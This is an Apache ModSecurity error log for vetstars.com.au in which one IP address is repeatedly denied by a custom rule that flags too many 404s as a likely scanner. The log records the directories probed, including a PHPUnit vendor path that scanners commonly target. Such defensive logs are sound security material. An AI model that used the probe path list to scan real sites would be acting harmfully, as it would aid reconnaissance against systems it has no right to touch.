[Thu Mar 05 22:53:08.108202 2026] [:error] [pid 41459:tid 41481] [client 138.199.19.165:57696] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin/"] [unique_id "aamY1OdFBZEnZ3pzxrWKOwAAAUc"]
[Thu Mar 05 22:53:08.703372 2026] [:error] [pid 62177:tid 62330] [client 138.199.19.165:57710] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/"] [unique_id "aamY1BWSQc2OzPrsnwX81AAAAJI"]
[Thu Mar 05 22:53:09.320351 2026] [:error] [pid 8151:tid 8226] [client 138.199.19.165:57730] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/"] [unique_id "aamY1ZO3dLEidct1HvCyJAAAAYc"]
[Thu Mar 05 22:53:09.881472 2026] [:error] [pid 8151:tid 8228] [client 138.199.19.165:57752] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/"] [unique_id "aamY1ZO3dLEidct1HvCyJwAAAYk"]
[Thu Mar 05 22:53:10.536998 2026] [:error] [pid 8151:tid 8229] [client 138.199.19.165:57770] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/images/"] [unique_id "aamY1pO3dLEidct1HvCyKgAAAYo"]
[Thu Mar 05 22:53:11.154979 2026] [:error] [pid 8151:tid 8225] [client 138.199.19.165:57790] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/"] [unique_id "aamY15O3dLEidct1HvCyMAAAAYY"]
[Thu Mar 05 22:53:11.672449 2026] [:error] [pid 8151:tid 8233] [client 138.199.19.165:57816] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/"] [unique_id "aamY15O3dLEidct1HvCyNQAAAY0"]
[Thu Mar 05 22:53:12.231489 2026] [:error] [pid 8151:tid 8236] [client 138.199.19.165:57846] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/"] [unique_id "aamY2JO3dLEidct1HvCyNwAAAZA"]
[Thu Mar 05 22:53:12.772825 2026] [:error] [pid 8151:tid 8238] [client 138.199.19.165:57866] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/"] [unique_id "aamY2JO3dLEidct1HvCyOAAAAZI"]
[Thu Mar 05 22:53:13.326738 2026] [:error] [pid 8151:tid 8217] [client 138.199.19.165:57874] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/"] [unique_id "aamY2ZO3dLEidct1HvCyOwAAAYA"]
[Thu Mar 05 22:53:13.865269 2026] [:error] [pid 62177:tid 62314] [client 138.199.19.165:57892] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/"] [unique_id "aamY2RWSQc2OzPrsnwX81QAAAIM"]
[Thu Mar 05 22:53:14.468153 2026] [:error] [pid 53350:tid 53382] [client 138.199.19.165:57898] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/"] [unique_id "aamY2qO0Baxc5WFYeP2IrgAAAQc"]
[Thu Mar 05 22:53:15.064653 2026] [:error] [pid 8151:tid 8226] [client 138.199.19.165:57908] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/"] [unique_id "aamY25O3dLEidct1HvCyRQAAAYc"]
[Thu Mar 05 22:53:15.631178 2026] [:error] [pid 53350:tid 53381] [client 138.199.19.165:57926] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upload/image/"] [unique_id "aamY26O0Baxc5WFYeP2IrwAAAQY"]
[Thu Mar 05 22:53:16.151281 2026] [:error] [pid 8151:tid 8225] [client 138.199.19.165:50640] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upload/image/"] [unique_id "aamY3JO3dLEidct1HvCySQAAAYY"]
[Thu Mar 05 22:53:16.674582 2026] [:error] [pid 8151:tid 8217] [client 138.199.19.165:50662] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upload/image/"] [unique_id "aamY3JO3dLEidct1HvCyTQAAAYA"]
[Thu Mar 05 22:53:17.387768 2026] [:error] [pid 53350:tid 53389] [client 138.199.19.165:50684] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upload/image/"] [unique_id "aamY3aO0Baxc5WFYeP2IswAAAQw"]
[Thu Mar 05 22:53:17.994716 2026] [:error] [pid 8151:tid 8220] [client 138.199.19.165:50702] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/images/"] [unique_id "aamY3ZO3dLEidct1HvCyVAAAAYE"]
[Thu Mar 05 22:53:18.527238 2026] [:error] [pid 8151:tid 8230] [client 138.199.19.165:50708] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/images/"] [unique_id "aamY3pO3dLEidct1HvCyWgAAAYs"]
[Thu Mar 05 22:53:19.180713 2026] [:error] [pid 41459:tid 41480] [client 138.199.19.165:50726] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/images/"] [unique_id "aamY3-dFBZEnZ3pzxrWKWwAAAUY"]
[Thu Mar 05 22:53:19.844845 2026] [:error] [pid 62435:tid 62459] [client 138.199.19.165:50740] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assets/images/"] [unique_id "aamY3yMZJMDfZh_-8sWUoAAAAMk"]
[Thu Mar 05 22:53:20.381363 2026] [:error] [pid 53350:tid 53398] [client 138.199.19.165:50756] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Public/"] [unique_id "aamY4KO0Baxc5WFYeP2ItgAAARU"]
[Thu Mar 05 22:53:20.940269 2026] [:error] [pid 53350:tid 53400] [client 138.199.19.165:50776] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Public/"] [unique_id "aamY4KO0Baxc5WFYeP2IuAAAARc"]
[Thu Mar 05 22:53:21.486042 2026] [:error] [pid 53350:tid 53386] [client 138.199.19.165:50798] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Public/"] [unique_id "aamY4aO0Baxc5WFYeP2IuwAAAQo"]
[Thu Mar 05 22:53:22.050814 2026] [:error] [pid 8151:tid 8233] [client 138.199.19.165:50814] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Public/"] [unique_id "aamY4pO3dLEidct1HvCyawAAAY0"]
[Thu Mar 05 22:53:22.610611 2026] [:error] [pid 62176:tid 62303] [client 138.199.19.165:50820] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vendor/"] [unique_id "aamY4iNfTPJryi30JPkLIQAAAFM"]
[Thu Mar 05 22:53:23.226620 2026] [:error] [pid 41459:tid 41487] [client 138.199.19.165:50844] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vendor/"] [unique_id "aamY4-dFBZEnZ3pzxrWKYQAAAU0"]
[Thu Mar 05 22:53:23.763226 2026] [:error] [pid 62177:tid 62316] [client 138.199.19.165:50858] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vendor/"] [unique_id "aamY4xWSQc2OzPrsnwX82QAAAIU"]
[Thu Mar 05 22:53:24.390306 2026] [:error] [pid 41459:tid 41484] [client 138.199.19.165:50872] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vendor/"] [unique_id "aamY5OdFBZEnZ3pzxrWKYwAAAUo"]
[Thu Mar 05 22:53:25.080939 2026] [:error] [pid 62435:tid 62456] [client 138.199.19.165:50886] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/local/"] [unique_id "aamY5SMZJMDfZh_-8sWUpQAAAMY"]
[Thu Mar 05 22:53:25.709411 2026] [:error] [pid 62435:tid 62468] [client 138.199.19.165:50912] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/local/"] [unique_id "aamY5SMZJMDfZh_-8sWUpwAAANI"]
[Thu Mar 05 22:53:26.323928 2026] [:error] [pid 8151:tid 8233] [client 138.199.19.165:57364] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/local/"] [unique_id "aamY5pO3dLEidct1HvCycwAAAY0"]
[Thu Mar 05 22:53:26.911837 2026] [:error] [pid 41459:tid 41483] [client 138.199.19.165:57368] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/local/"] [unique_id "aamY5udFBZEnZ3pzxrWKbAAAAUk"]
[Thu Mar 05 22:53:27.496322 2026] [:error] [pid 53350:tid 53396] [client 138.199.19.165:57398] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/modules/"] [unique_id "aamY56O0Baxc5WFYeP2IzAAAARM"]
[Thu Mar 05 22:53:28.202996 2026] [:error] [pid 41459:tid 41496] [client 138.199.19.165:57406] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/modules/"] [unique_id "aamY6OdFBZEnZ3pzxrWKbQAAAVY"]
[Thu Mar 05 22:53:28.801736 2026] [:error] [pid 8151:tid 8228] [client 138.199.19.165:57422] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/modules/"] [unique_id "aamY6JO3dLEidct1HvCyewAAAYk"]
[Thu Mar 05 22:53:29.398318 2026] [:error] [pid 41459:tid 41486] [client 138.199.19.165:57446] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/modules/"] [unique_id "aamY6edFBZEnZ3pzxrWKcwAAAUw"]
[Thu Mar 05 22:53:29.912539 2026] [:error] [pid 8151:tid 8236] [client 138.199.19.165:57458] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Site/"] [unique_id "aamY6ZO3dLEidct1HvCyfwAAAZA"]
[Thu Mar 05 22:53:30.512050 2026] [:error] [pid 8151:tid 8235] [client 138.199.19.165:57470] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Site/"] [unique_id "aamY6pO3dLEidct1HvCyggAAAY8"]
[Thu Mar 05 22:53:31.043910 2026] [:error] [pid 8151:tid 8228] [client 138.199.19.165:57480] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Site/"] [unique_id "aamY65O3dLEidct1HvCyhwAAAYk"]
[Thu Mar 05 22:53:31.575074 2026] [:error] [pid 8151:tid 8225] [client 138.199.19.165:57502] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/Site/"] [unique_id "aamY65O3dLEidct1HvCyjQAAAYY"]
[Thu Mar 05 22:53:32.100980 2026] [:error] [pid 8151:tid 8230] [client 138.199.19.165:57522] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/system/"] [unique_id "aamY7JO3dLEidct1HvCykQAAAYs"]
[Thu Mar 05 22:53:32.644780 2026] [:error] [pid 8151:tid 8226] [client 138.199.19.165:57546] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/system/"] [unique_id "aamY7JO3dLEidct1HvCylQAAAYc"]
[Thu Mar 05 22:53:33.220826 2026] [:error] [pid 62177:tid 62312] [client 138.199.19.165:57564] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/system/"] [unique_id "aamY7RWSQc2OzPrsnwX85AAAAIE"]
[Thu Mar 05 22:53:33.769142 2026] [:error] [pid 53350:tid 53394] [client 138.199.19.165:57588] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/system/"] [unique_id "aamY7aO0Baxc5WFYeP2I1AAAARE"]
[Thu Mar 05 22:53:34.421721 2026] [:error] [pid 62176:tid 62289] [client 138.199.19.165:57600] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/template/"] [unique_id "aamY7iNfTPJryi30JPkLJgAAAEU"]
[Thu Mar 05 22:53:35.000970 2026] [:error] [pid 41459:tid 41488] [client 138.199.19.165:57612] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/template/"] [unique_id "aamY7udFBZEnZ3pzxrWKdwAAAU4"]
[Thu Mar 05 22:53:36.488417 2026] [:error] [pid 41459:tid 41474] [client 138.199.19.165:38564] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/template/"] [unique_id "aamY8OdFBZEnZ3pzxrWKfwAAAUA"]
[Thu Mar 05 22:53:37.009842 2026] [:error] [pid 41459:tid 41495] [client 138.199.19.165:38584] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/template/"] [unique_id "aamY8edFBZEnZ3pzxrWKgwAAAVU"]
[Thu Mar 05 22:53:37.590330 2026] [:error] [pid 62435:tid 62456] [client 138.199.19.165:38598] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop/"] [unique_id "aamY8SMZJMDfZh_-8sWUsQAAAMY"]
[Thu Mar 05 22:53:38.197921 2026] [:error] [pid 41459:tid 41493] [client 138.199.19.165:38618] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop/"] [unique_id "aamY8udFBZEnZ3pzxrWKhwAAAVM"]
[Thu Mar 05 22:53:38.731245 2026] [:error] [pid 53350:tid 53397] [client 138.199.19.165:38642] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop/"] [unique_id "aamY8qO0Baxc5WFYeP2I1wAAARQ"]
[Thu Mar 05 22:53:39.277055 2026] [:error] [pid 62435:tid 62468] [client 138.199.19.165:38664] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/shop/"] [unique_id "aamY8yMZJMDfZh_-8sWUswAAANI"]
[Thu Mar 05 22:53:39.798266 2026] [:error] [pid 53350:tid 53399] [client 138.199.19.165:38684] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/files/"] [unique_id "aamY86O0Baxc5WFYeP2I4QAAARY"]
[Thu Mar 05 22:53:40.365280 2026] [:error] [pid 62177:tid 62334] [client 138.199.19.165:38702] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/files/"] [unique_id "aamY9BWSQc2OzPrsnwX89gAAAJY"]
[Thu Mar 05 22:53:40.994504 2026] [:error] [pid 41459:tid 41496] [client 138.199.19.165:38722] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/files/"] [unique_id "aamY9OdFBZEnZ3pzxrWKjQAAAVY"]
[Thu Mar 05 22:53:41.516134 2026] [:error] [pid 62177:tid 62318] [client 138.199.19.165:38744] [client 138.199.19.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/files/"] [unique_id "aamY9RWSQc2OzPrsnwX8-wAAAIc"]
